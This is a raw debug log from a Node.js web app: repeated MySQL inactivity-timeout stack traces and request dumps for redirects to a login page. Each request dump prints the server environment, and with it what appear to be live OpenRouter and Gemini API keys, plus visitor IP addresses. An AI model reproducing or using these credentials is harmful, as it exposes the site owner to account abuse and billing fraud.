    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 19:43:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 20:19:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 20:19:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 20:27:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 20:27:07' as DATETIME)"
}
2026-01-11T21:06:16.024Z server-connect:router Serving templateView /
2026-01-11T21:06:16.024Z server-connect:app Executing action step identify
2026-01-11T21:06:16.024Z server-connect:app options: { provider: 'security' }
2026-01-11T21:06:16.025Z server-connect:auth No login cookie found
2026-01-11T21:06:16.025Z server-connect:output identity: false
2026-01-11T21:06:16.025Z server-connect:app Executing action step restrict
2026-01-11T21:06:16.025Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-11T21:06:16.025Z server-connect:output restrict: undefined
2026-01-11T21:06:16.157Z server-connect:router Serving templateView /login
2026-01-11T21:06:16.157Z server-connect:app Executing action step identify
2026-01-11T21:06:16.157Z server-connect:app options: { provider: 'security' }
2026-01-11T21:06:16.157Z server-connect:auth No login cookie found
2026-01-11T21:06:16.157Z server-connect:output identity: false
2026-01-11T21:06:16.157Z server-connect:router Render template layouts/authentication
2026-01-11T21:06:16.158Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '149.57.180.163',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-12T21:06:16.157Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '149.57.180.163',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '149.57.180.163',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-01-11T21:09:24.592Z server-connect:router Serving templateView /
2026-01-11T21:09:24.592Z server-connect:app Executing action step identify
2026-01-11T21:09:24.592Z server-connect:app options: { provider: 'security' }
2026-01-11T21:09:24.593Z server-connect:auth No login cookie found
2026-01-11T21:09:24.593Z server-connect:output identity: false
2026-01-11T21:09:24.593Z server-connect:app Executing action step restrict
2026-01-11T21:09:24.593Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-11T21:09:24.594Z server-connect:output restrict: undefined
2026-01-11T21:09:24.840Z server-connect:router Serving templateView /login
2026-01-11T21:09:24.840Z server-connect:app Executing action step identify
2026-01-11T21:09:24.840Z server-connect:app options: { provider: 'security' }
2026-01-11T21:09:24.840Z server-connect:auth No login cookie found
2026-01-11T21:09:24.840Z server-connect:output identity: false
2026-01-11T21:09:24.840Z server-connect:router Render template layouts/authentication
2026-01-11T21:09:24.841Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.15',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-12T21:09:24.840Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.15',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.15',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 21:28:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 21:28:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 22:51:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 22:51:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 23:14:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 23:14:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-11 23:30:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-11 23:30:45' as DATETIME)"
}
2026-01-12T00:09:38.284Z server-connect:router Serving templateView /
2026-01-12T00:09:38.285Z server-connect:app Executing action step identify
2026-01-12T00:09:38.285Z server-connect:app options: { provider: 'security' }
2026-01-12T00:09:38.286Z server-connect:auth No login cookie found
2026-01-12T00:09:38.286Z server-connect:output identity: false
2026-01-12T00:09:38.286Z server-connect:app Executing action step restrict
2026-01-12T00:09:38.286Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-12T00:09:38.286Z server-connect:output restrict: undefined
2026-01-12T00:09:38.404Z server-connect:router Serving templateView /login
2026-01-12T00:09:38.404Z server-connect:app Executing action step identify
2026-01-12T00:09:38.404Z server-connect:app options: { provider: 'security' }
2026-01-12T00:09:38.404Z server-connect:auth No login cookie found
2026-01-12T00:09:38.404Z server-connect:output identity: false
2026-01-12T00:09:38.404Z server-connect:router Render template layouts/authentication
2026-01-12T00:09:38.405Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '149.57.180.44',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-13T00:09:38.404Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '149.57.180.44',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '149.57.180.44',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-01-12T00:13:53.638Z server-connect:router Serving templateView /
2026-01-12T00:13:53.638Z server-connect:app Executing action step identify
2026-01-12T00:13:53.638Z server-connect:app options: { provider: 'security' }
2026-01-12T00:13:53.638Z server-connect:auth No login cookie found
2026-01-12T00:13:53.638Z server-connect:output identity: false
2026-01-12T00:13:53.639Z server-connect:app Executing action step restrict
2026-01-12T00:13:53.639Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-12T00:13:53.639Z server-connect:output restrict: undefined
2026-01-12T00:13:53.748Z server-connect:router Serving templateView /login
2026-01-12T00:13:53.749Z server-connect:app Executing action step identify
2026-01-12T00:13:53.749Z server-connect:app options: { provider: 'security' }
2026-01-12T00:13:53.749Z server-connect:auth No login cookie found
2026-01-12T00:13:53.749Z server-connect:output identity: false
2026-01-12T00:13:53.749Z server-connect:router Render template layouts/authentication
2026-01-12T00:13:53.749Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '149.57.180.138',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-13T00:13:53.748Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '149.57.180.138',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '149.57.180.138',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 00:38:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
